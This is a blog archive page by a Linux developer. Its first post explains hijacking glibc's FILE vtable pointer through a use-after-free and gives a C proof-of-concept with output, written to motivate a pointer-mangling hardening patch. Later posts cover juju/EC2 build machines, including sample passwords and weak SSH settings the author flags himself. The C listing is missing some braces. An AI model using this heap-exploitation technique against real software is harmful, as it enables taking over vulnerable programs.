codeblog code is freedom — patching my itch

December 22, 2011

abusing the FILE structure

Filed under: Blogging,Debian,Security,Ubuntu,Ubuntu-Server — kees @ 4:46 pm

When attacking a process, one interesting target on the heap is the FILE structure used with “stream functions” (fopen(), fread(), fclose(), etc) in glibc. Most of the FILE structure (struct _IO_FILE internally) is pointers to the various memory buffers used for the stream, flags, etc. What’s interesting is that this isn’t actually the entire structure. When a new FILE structure is allocated and its pointer returned from fopen(), glibc has actually allocated an internal structure called struct _IO_FILE_plus, which contains struct _IO_FILE and a pointer to struct _IO_jump_t, which in turn contains a list of pointers for all the functions attached to the FILE. This is its vtable, which, just like C++ vtables, is used whenever any stream function is called with the FILE. So on the heap, we have:

glibc FILE vtable location

In the face of use-after-free, heap overflows, or arbitrary memory write vulnerabilities, this vtable pointer is an interesting target, and, much like the pointers found in setjmp()/longjmp(), atexit(), etc, could be used to gain control of execution flow in a program. Some time ago, glibc introduced PTR_MANGLE/PTR_DEMANGLE to protect these latter functions, but until now hasn’t protected the FILE structure in the same way.

I’m hoping to change this, and have introduced a patch to use PTR_MANGLE on the vtable pointer. Hopefully I haven’t overlooked something, since I’d really like to see this get in. FILE structure usage is a fair bit more common than setjmp() and atexit() usage. :)

Here’s a quick exploit demonstration in a trivial use-after-free scenario:

#include <stdio.h>
#include <stdlib.h>

void pwn(void)
    printf("Dave, my mind is going.\n");

void * funcs[] = {
    NULL, // "extra word"
    NULL, // DUMMY
    exit, // finish
    NULL, // overflow
    NULL, // underflow
    NULL, // uflow
    NULL, // pbackfail
    NULL, // xsputn
    NULL, // xsgetn
    NULL, // seekoff
    NULL, // seekpos
    NULL, // setbuf
    NULL, // sync
    NULL, // doallocate
    NULL, // read
    NULL, // write
    NULL, // seek
    pwn,  // close
    NULL, // stat
    NULL, // showmanyc
    NULL, // imbue

int main(int argc, char * argv[])
    FILE *fp;
    unsigned char *str;

    printf("sizeof(FILE): 0x%x\n", sizeof(FILE));

    /* Allocate and free enough for a FILE plus a pointer. */
    str = malloc(sizeof(FILE) + sizeof(void *));
    printf("freeing %p\n", str);

    /* Open a file, observe it ended up at previous location. */
    if (!(fp = fopen("/dev/null", "r"))) {
        return 1;
    printf("FILE got %p\n", fp);
    printf("_IO_jump_t @ %p is 0x%08lx\n",
           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));

    /* Overwrite vtable pointer. */
    *(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;
    printf("_IO_jump_t @ %p now 0x%08lx\n",
           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));

    /* Trigger call to pwn(). */

    return 0;

Before the patch:

$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0xf7796aa0
_IO_jump_t @ 0x984609c now 0x0804a060
Dave, my mind is going.

After the patch:

$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0x3a4125f8
_IO_jump_t @ 0x984609c now 0x0804a060
Segmentation fault

Astute readers will note that this demonstration takes advantage of another characteristic of glibc, which is that its malloc system is unrandomized, allowing an attacker to be able to determine where various structures will end up in the heap relative to each other. I’d like to see this fixed too, but it’ll require more time to study. :)

© 2011 – 2018, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

December 7, 2011

how to throw an EC2 party

Filed under: Blogging,Debian,Ubuntu,Ubuntu-Server — kees @ 9:53 am

Prepare a location to run juju and install it:

mkdir ~/party
cd ~/party
sudo apt-get install juju

Initialize your juju environment. Be sure to add “juju-origin: ppa” to your environment, along with filling in your access-key and secret-key from your Amazon AWS account. Note that control-bucket and admin-secret should not be used by any other environment or juju won’t be able to distinguish them. Other variables are good to set now too. I wanted my instances close to me, use I set “region: us-west-1“. I also wanted a 64bit system, so using the AMI list, I chose “default-series: oneiric“, “default-instance-type: m1.large” and “default-image-id: ami-7b772b3e

$EDITOR ~/.juju/environments.yaml

Get my sbuild charm, and configure some types of builders. The salt should be something used only for this party; it is used to generate the random passwords for the builder accounts. The distro and releases can be set to whatever the mk-sbuild tool understands.

bzr co lp:~kees/charm/oneiric/sbuild/trunk sbuild-charm
cat >local.yaml <<EOM
    salt: some-secret-phrase-for-this-party
    distro: debian
    releases: unstable
    salt: some-secret-phrase-for-this-party
    distro: ubuntu
    releases: precise,oneiric

Bootstrap juju and wait for ec2 instance to come up.

juju bootstrap

Before running the status, you can either accept the SSH key blindly, or use “ec2-describe-instances” to find the instance and public host name, and use my “wait-for-ssh” tool to inject the SSH host key into your ~/.ssh/known_hosts file. This requires having set up the environment variables needed by “ec2-describe-instances“, though.

ec2-describe-instances --region REGION
./sbuild-charm/wait-for-ssh INSTANCE HOST REGION

Get status:

juju status

Deploy a builder:

juju deploy --config local.yaml --repository $PWD local:sbuild-charm builder-debian

Deploy more of the same type:

juju add-unit builder-debian
juju add-unit builder-debian
juju add-unit builder-debian

Now you have to wait for them to finish installing, which will take a while. Once they’re at least partially up (the “builder” user has been created), you can print out the slips of paper to hand out to your party attendees:

./sbuild-charm/slips | mpage -1 > /tmp/
ps2pdf /tmp/ /tmp/slips.pdf

They look like this:

Unit: builder-debian/3
SSH key fingerprints:
  1024 3e:f7:66:53:a9:e8:96:c7:27:36:71:ce:2a:cf:65:31 (DSA)
  256 53:a9:e8:96:c7:20:6f:8f:4a:de:b2:a3:b7:6b:34:f7 (ECDSA)
  2048 3b:29:99:20:6f:8f:4a:de:b2:a3:b7:6b:34:bc:7a:e3 (RSA)
Username: builder
Password: 68b329da9893

To admin the machines, you can use juju itself, where N is the machine number from the “juju status” output:

juju ssh N

To add additional chroots to the entire builder service, add them to the config:

juju set builder-debian release=unstable,testing,stable
juju set builder-ubuntu release=precise,oneiric,lucid,natty

Notes about some of the terrible security hacks this charm does:

  • enables password-based SSH access (and locks the default “ubuntu” account), so party attendees don’t need anything but the ssh client itself to get to the builders.
  • starts rngd -r /dev/urandom to create terrible but plentiful entropy for the sbuild GPG key generation.


© 2011, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

juju bug fixing

Filed under: Blogging,Debian,Ubuntu,Ubuntu-Server — kees @ 9:11 am

My earlier post on juju described a number of weird glitches I ran into. I got invited by hazmat on IRC (freenode #juju) to try to reproduce the problems so we could isolate the trouble.

Fix #1: use the version from the PPA. The juju setup documentation doesn’t mention this, but it seems that adding “juju-origin: ppa” to your ~/.juju/environment.yaml is a good idea. I suggest it be made the default, and to link to the full list of legal syntax for the environment.yaml file. I was not able to reproduce the missing-machines-at-startup problem after doing this, but perhaps it’s a hard race to lose.

Fix #2: don’t use “terminate-machine“. :P There seems to be a problem around doing the following series of commands: “juju remove-unit FOO/N; juju terminate-machine X; juju add-unit FOO“. This makes the provisioner go crazy, and leaves all further attempts to add units stick in “pending” forever.

Big thank you to hazmat and SpamapS for helping debug this.

© 2011, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

December 5, 2011

EC2 instances in support of a BSP

Filed under: Blogging,Debian,Ubuntu,Ubuntu-Server — kees @ 4:05 pm

On Sunday, I brought up EC2 instances to support the combined Debian Bug Squashing Party/Ubuntu Local Jam that took place at PuppetLabs in Portland, OR, USA. The intent was to provide each participant with their own sbuild environment on a 64bit machine, since we were going to be working on Multi-Arch support, and having both 64bit and 32bit chroots would be helpful. The host was an Ubuntu 11.10 (Oneiric) instance so it would be possible to do SRU verifications in the cloud too.

I was curious about the juju provisioning system, since it has an interesting plugin system, called “charms”, that can be used to build out services. I decided to write an sbuild charm, which was pretty straight forward and quite powerful (using this charm it would be possible to trigger the creation of new schroots across all instances at any time, etc).

The juju service itself works really well when it works correctly. When something goes wrong, unfortunately, it becomes nearly impossible to debug or fix. Repeatedly while working on charm development, the provisioning system would lose its mind, and I’d have to destroy the entire environment and re-bootstrap to get things running again. I had hoped this wouldn’t be the case while I was using it during “production” on Sunday, but the provisioner broke spectacularly on Sunday too. Due to the fragility of the juju agents, it wasn’t possible to restart the provisioner — it lost its mind, the other agent’s couldn’t talk to it any more, etc. I would expect the master services on a cloud instance manager to be extremely robust since having it die would mean totally losing control of all your instances.

On Sunday morning, I started 8 instances. 6 came up perfectly and were excellent work-horses all day at the BSP. 2 never came up. The EC2 instances started, but the service provisioner never noticed them. Adding new units didn’t work (instances would start, but no services would notice them), and when I tried to remove the seemingly broken machines, the instance provisioner completely went crazy and started dumping Python traces into the logs (which seems to be related to this bug, though some kind of race condition seems to have confused it much earlier than this total failure), and that was it. We used the instances we had, and I spent 3 hours trying to fix the provisioner, eventually giving up on it.

I was very pleased with EC2 and Ubuntu Server itself on the instances. The schroots worked, sbuild worked (though I identified some additional things that the charm should likely do for setup). I think juju has a lot of potential, but I’m surprised at how fragile it is. It didn’t help that Amazon had rebooted the entire West Coast the day before and there were dead Ubuntu Archive Mirrors in the DNS rotation.

For anyone else wanting to spin up builders in the cloud using juju, I have a run-down of what this looks like from the admin’s perspective, and even include a little script to produce little slips of paper to hand out to attendees with an instance’s hostname, ssh keys, and builder SSH password. Seemed to work pretty well overall; I just wish I could have spun up a few more. :)

So, even with the fighting with juju and a few extra instances that came up and I had to shut down again without actually using them, the total cost to run the instances for the whole BSP was about US$40, and including the charm development time, about US$45.

UPDATE: some more details on how to avoid the glitches I hit.

© 2011, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

PGP key photo viewing

Filed under: Blogging,Debian,Security,Ubuntu — kees @ 1:35 pm

Handy command line arguments for gpg:

gpg --list-options show-photos --fingerprint 0xdc6dc026

This is nice to examine someone’s PGP photo. You can also include it in --verify-options, depending on how/when you want to see the photo (for example, when doing key signings).

If gpg doesn’t pick the right photo viewer, you can override it with --photo-viewer 'eog %I' or similar.

© 2011, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

Powered by WordPress